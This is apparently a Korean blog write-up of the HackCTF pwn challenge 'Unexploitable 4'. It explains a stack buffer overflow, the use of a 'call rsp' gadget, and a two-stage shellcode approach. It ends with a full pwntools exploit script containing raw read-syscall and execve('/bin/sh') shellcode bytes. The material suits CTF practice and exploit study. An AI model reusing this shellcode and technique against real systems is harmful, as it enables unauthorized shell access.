본문 바로가기

pwn/HackCTF

HackCTF/ Unexploitable 4

prob

IDA로 main함수 봤을때는 클났다 싶었는데 Unexploitable #3보다 쉬웠다

근데 내 로컬에서 분석했을때는 bss영역에 실행권한이 없었는데 다른 분들 풀이 보니까 있었다....

dreahack에서도 이거와 관련한 글이 있어서 나중에 하나하나 봐야겠다

https://dreamhack.io/forum/community/1612

 

왜 validator 문제는 푸는 사람에 따라 bss에 실행권한이 다를까?

대충 이 이야기의 시작은, 오래전 작년 12월로 넘어간다.. 오픈 카톡 채팅방에 정도비님이 물어보셨다. 내 컴퓨터에서는 bss 섹션에 X가 없는데, 다른 사람 라이트업을 보니 b…

dreamhack.io

 

 

 

write-up


main

단순한 stack buffer overflow가 터진다

 

checksec

어.... 난이도가 급격히 줄어들었다

call rsp가젯을 ret에 넣고 call rsp를 하게되면 11byte의 쉘코드를 실행시킬 수 있다

read syscall를 호출하는 쉘코드를 실행시켜서 다시 스택에 쉘코드를 덮어써서 쉘을 띄우는 쉘코드를 시켜 익스했다

 

flag

 

 

from pwn import *

p = remote("ctf.j0n9hyun.xyz", 3039)
 
#p = process("./Unexploitable_4")
#gdb.attach(p)
call_rsp = 0x00400661

read_shell = b"\x5a\x48\x31\xff\x48\x89\xe6\x0f\x05"

final_shell = b""
final_shell += b"\x90" * 0x20
final_shell += b"\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05"


payload = b"A" * 0x18
payload += p64(call_rsp)
payload += read_shell


p.sendline(payload)
sleep(0.1)
p.send(final_shell)


p.interactive()

 

 

 

'pwn > HackCTF' 카테고리의 다른 글

jon9hyun's secret  (0) 2022.03.25
UAF  (0) 2022.03.24
ChildFSB  (0) 2022.03.20
hackCTF / Unexploitable #3  (0) 2022.03.15
ezshell  (0) 2022.03.05